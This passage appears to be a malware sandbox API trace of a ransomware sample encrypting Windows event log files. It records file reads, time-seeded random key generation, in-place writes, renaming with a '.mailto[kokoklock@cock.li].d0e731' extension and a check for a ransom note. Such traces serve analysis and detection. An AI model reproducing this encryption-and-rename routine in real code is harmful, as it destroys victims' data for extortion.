(lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 0x20 [0063.773] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx", dwFileAttributes=0x20) returned 1 [0063.773] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x798 [0063.773] GetFileSizeEx (in: hFile=0x798, lpFileSize=0xa8af744 | out: lpFileSize=0xa8af744*=69632) returned 1 [0063.773] SetFilePointerEx (in: hFile=0x798, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.773] ReadFile (in: hFile=0x798, lpBuffer=0xa8af718, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa8af714, lpOverlapped=0x0 | out: lpBuffer=0xa8af718*, lpNumberOfBytesRead=0xa8af714*=0x4, lpOverlapped=0x0) returned 1 [0064.129] SetFilePointerEx (in: hFile=0x798, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.129] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be910 [0064.129] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34bea28 [0064.129] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34bea50 [0064.129] NtQuerySystemTime (in: CurrentTime=0xa8af6f0 | out: CurrentTime=0xa8af6f0*=132121176220184057) returned 0x0 [0064.129] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0xf55a6ce7 [0064.129] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0xa9283d53 [0064.129] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0x82b375cb [0064.129] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0x952b641f [0064.129] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0xe8b8d983 [0064.129] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0x46cb8718 [0064.129] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0x670a5e6c [0064.129] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0xaf2ff164 [0064.129] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0x862b367 [0064.129] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0x792bdfbc [0064.129] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0xad64dd17 [0064.129] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0x4ed5e060 [0064.129] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0x575fbf19 [0064.129] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0xcee95445 [0064.129] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0x7dbff8c7 [0064.129] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0xb38e74ec [0064.129] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0xcf375a31 [0064.129] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0xf46fade4 [0064.129] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0x5bf9c4be [0064.129] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0xd28bfd7b [0064.130] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0x8dc61928 [0064.130] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0xcc647751 [0064.130] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0x6471ebad [0064.130] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0x34ff9656 [0064.130] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0x10e61b81 [0064.130] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0xf63c9fa9 [0064.130] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0xd4409bb7 [0064.130] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0x1625fd5f [0064.130] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0xb3ce1eb [0064.130] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0xe5d8b1f0 [0064.130] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0x12d1f450 [0064.130] RtlRandom (in: Seed=0xa8af6fc | out: Seed=0xa8af6fc) returned 0xdcb93d5d [0064.139] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be960 [0064.141] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.141] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be8c0 [0064.141] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.141] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be910) returned 1 [0064.141] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55ec9a8 [0064.142] SetFilePointerEx (in: hFile=0x798, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.143] ReadFile (in: hFile=0x798, lpBuffer=0x55ec9a8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa8af6c8, lpOverlapped=0x0 | out: lpBuffer=0x55ec9a8*, lpNumberOfBytesRead=0xa8af6c8*=0x4096, lpOverlapped=0x0) returned 1 [0064.362] SetFilePointerEx (in: hFile=0x798, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.362] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0064.362] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.362] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efae0 [0064.362] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efae0) returned 1 [0064.362] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5614fe8 [0064.362] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efce8 [0064.362] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa40 [0064.362] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa40) returned 1 [0064.362] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.362] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0064.362] WriteFile (in: hFile=0x798, lpBuffer=0x5614fe8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa8af6c8, lpOverlapped=0x0 | out: lpBuffer=0x5614fe8*, lpNumberOfBytesWritten=0xa8af6c8*=0x4096, lpOverlapped=0x0) returned 1 [0064.363] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5614fe8) returned 1 [0064.363] SetFilePointerEx (in: hFile=0x798, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.363] WriteFile (in: hFile=0x798, lpBuffer=0x33efce8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa8af700, lpOverlapped=0x0 | out: lpBuffer=0x33efce8*, lpNumberOfBytesWritten=0xa8af700*=0x20, lpOverlapped=0x0) returned 1 [0064.363] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efce8) returned 1 [0064.363] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ec9a8) returned 1 [0064.364] WriteFile (in: hFile=0x798, lpBuffer=0x34be8c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa8af714, lpOverlapped=0x0 | out: lpBuffer=0x34be8c0*, lpNumberOfBytesWritten=0xa8af714*=0x8, lpOverlapped=0x0) returned 1 [0064.364] WriteFile (in: hFile=0x798, lpBuffer=0xa8af72c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa8af714, lpOverlapped=0x0 | out: lpBuffer=0xa8af72c*, lpNumberOfBytesWritten=0xa8af714*=0x4, lpOverlapped=0x0) returned 1 [0064.364] WriteFile (in: hFile=0x798, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa8af714, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xa8af714*=0x4, lpOverlapped=0x0) returned 1 [0064.364] WriteFile (in: hFile=0x798, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa8af714, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xa8af714*=0x6c, lpOverlapped=0x0) returned 1 [0064.364] WriteFile (in: hFile=0x798, lpBuffer=0x34bea28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa8af714, lpOverlapped=0x0 | out: lpBuffer=0x34bea28*, lpNumberOfBytesWritten=0xa8af714*=0x20, lpOverlapped=0x0) returned 1 [0064.364] WriteFile (in: hFile=0x798, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa8af714, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xa8af714*=0x4, lpOverlapped=0x0) returned 1 [0064.364] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bea28) returned 1 [0064.364] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be960) returned 1 [0064.364] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be8c0) returned 1 [0064.364] CloseHandle (hObject=0x798) returned 1 [0064.497] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x33f80d0 [0064.497] wcscpy (in: _Dest=0x33f80d0, _Source="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" [0064.497] wcscat (in: _Dest=0x33f80d0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731" [0064.497] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.569] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f80d0) returned 1 [0064.569] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx", dwFileAttributes=0x20) returned 0 [0064.569] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34346a8 [0064.569] wcscpy (in: _Dest=0x34346a8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0064.569] wcscat (in: _Dest=0x34346a8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0064.569] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0064.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34346a8) returned 1 [0064.569] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34799e8) returned 1 [0064.570] RtlExitUserThread (Status=0x1) Thread: id = 186 os_tid = 0x1160 [0063.441] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 0x20 [0063.771] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx", dwFileAttributes=0x20) returned 1 [0063.771] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x794 [0063.772] GetFileSizeEx (in: hFile=0x794, lpFileSize=0xa92ff28 | out: lpFileSize=0xa92ff28*=69632) returned 1 [0063.772] SetFilePointerEx (in: hFile=0x794, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.772] ReadFile (in: hFile=0x794, lpBuffer=0xa92fefc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa92fef8, lpOverlapped=0x0 | out: lpBuffer=0xa92fefc*, lpNumberOfBytesRead=0xa92fef8*=0x4, lpOverlapped=0x0) returned 1 [0064.116] SetFilePointerEx (in: hFile=0x794, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.116] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be910 [0064.116] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34bea00 [0064.116] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be9b0 [0064.116] NtQuerySystemTime (in: CurrentTime=0xa92fed4 | out: CurrentTime=0xa92fed4*=132121176220027982) returned 0x0 [0064.116] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0x9342c121 [0064.116] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0xae9139c7 [0064.116] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0x65091482 [0064.116] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0x55708962 [0064.116] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0xdf1631fd [0064.116] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0x8b2317dc [0064.116] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0xc0d45df3 [0064.116] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0x750cec6a [0064.116] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0xd100edee [0064.116] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0x8b942f03 [0064.116] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0x2be9544d [0064.116] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0xb7bab764 [0064.116] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0x6d457d12 [0064.116] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0xee907e17 [0064.116] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0x66de0f81 [0064.116] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0x7c530fe0 [0064.116] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0xb3783936 [0064.116] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0x1786219c [0064.116] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0xdb68977 [0064.117] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0xab8e1d3f [0064.117] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0x282ed805 [0064.117] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0x9817cc8d [0064.117] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0x14a4ac34 [0064.117] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0xd963f6d3 [0064.117] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0x818ff40 [0064.117] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0xde0f9a08 [0064.117] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0x9923df18 [0064.117] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0x415a1494 [0064.117] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0x7b2e3b3d [0064.117] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0x195dfd91 [0064.117] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0xebb357e6 [0064.117] RtlRandom (in: Seed=0xa92fee0 | out: Seed=0xa92fee0) returned 0x1b4491df [0064.126] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be938 [0064.128] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.128] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be898 [0064.128] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.128] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be910) returned 1 [0064.128] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55c4368 [0064.128] SetFilePointerEx (in: hFile=0x794, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.128] ReadFile (in: hFile=0x794, lpBuffer=0x55c4368, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa92feac, lpOverlapped=0x0 | out: lpBuffer=0x55c4368*, lpNumberOfBytesRead=0xa92feac*=0x4096, lpOverlapped=0x0) returned 1 [0064.358] SetFilePointerEx (in: hFile=0x794, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.359] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0064.359] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.359] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efae0 [0064.359] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efae0) returned 1 [0064.359] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5614fe8 [0064.359] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efce8 [0064.359] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa40 [0064.359] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efa40) returned 1 [0064.359] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.359] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0064.359] WriteFile (in: hFile=0x794, lpBuffer=0x5614fe8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa92feac, lpOverlapped=0x0 | out: lpBuffer=0x5614fe8*, lpNumberOfBytesWritten=0xa92feac*=0x4096, lpOverlapped=0x0) returned 1 [0064.360] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5614fe8) returned 1 [0064.360] SetFilePointerEx (in: hFile=0x794, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.360] WriteFile (in: hFile=0x794, lpBuffer=0x33efce8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa92fee4, lpOverlapped=0x0 | out: lpBuffer=0x33efce8*, lpNumberOfBytesWritten=0xa92fee4*=0x20, lpOverlapped=0x0) returned 1 [0064.360] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efce8) returned 1 [0064.360] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55c4368) returned 1 [0064.360] WriteFile (in: hFile=0x794, lpBuffer=0x34be898*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa92fef8, lpOverlapped=0x0 | out: lpBuffer=0x34be898*, lpNumberOfBytesWritten=0xa92fef8*=0x8, lpOverlapped=0x0) returned 1 [0064.360] WriteFile (in: hFile=0x794, lpBuffer=0xa92ff10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa92fef8, lpOverlapped=0x0 | out: lpBuffer=0xa92ff10*, lpNumberOfBytesWritten=0xa92fef8*=0x4, lpOverlapped=0x0) returned 1 [0064.360] WriteFile (in: hFile=0x794, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa92fef8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xa92fef8*=0x4, lpOverlapped=0x0) returned 1 [0064.360] WriteFile (in: hFile=0x794, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa92fef8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xa92fef8*=0x6c, lpOverlapped=0x0) returned 1 [0064.360] WriteFile (in: hFile=0x794, lpBuffer=0x34bea00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa92fef8, lpOverlapped=0x0 | out: lpBuffer=0x34bea00*, lpNumberOfBytesWritten=0xa92fef8*=0x20, lpOverlapped=0x0) returned 1 [0064.360] WriteFile (in: hFile=0x794, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa92fef8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xa92fef8*=0x4, lpOverlapped=0x0) returned 1 [0064.360] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bea00) returned 1 [0064.360] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be938) returned 1 [0064.361] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be898) returned 1 [0064.361] CloseHandle (hObject=0x794) returned 1 [0064.496] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xae) returned 0x33f8018 [0064.496] wcscpy (in: _Dest=0x33f8018, _Source="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" [0064.496] wcscat (in: _Dest=0x33f8018, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kokoklock@cock.li].d0e731" [0064.496] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.571] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.571] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f8018) returned 1 [0064.571] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx", dwFileAttributes=0x20) returned 0 [0064.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34346a8 [0064.571] wcscpy (in: _Dest=0x34346a8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0064.571] wcscat (in: _Dest=0x34346a8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0064.571] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0064.571] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34346a8) returned 1 [0064.571] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0064.571] RtlExitUserThread (Status=0x1) Thread: id = 187 os_tid = 0x1164 [0063.442] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 0x20 [0063.770] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0063.770] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x790 [0063.770] GetFileSizeEx (in: hFile=0x790, lpFileSize=0xa9afbf4 | out: lpFileSize=0xa9afbf4*=69632) returned 1 [0063.770] SetFilePointerEx (in: hFile=0x790, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.770] ReadFile (in: hFile=0x790, lpBuffer=0xa9afbc8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa9afbc4, lpOverlapped=0x0 | out: lpBuffer=0xa9afbc8*, lpNumberOfBytesRead=0xa9afbc4*=0x4, lpOverlapped=0x0) returned 1 [0064.094] SetFilePointerEx (in: hFile=0x790, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.094] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0064.095] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be8e8 [0064.095] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be9d8 [0064.095] NtQuerySystemTime (in: CurrentTime=0xa9afba0 | out: CurrentTime=0xa9afba0*=132121176219871681) returned 0x0 [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0xa6fb9d6e [0064.095] RtlRandom (in: Seed=0xa9afbac | out: Seed=0xa9afbac) returned 0xa98ef9a7 [0064.095] RtlRandom (in: Seed=0xa9afbac | out: 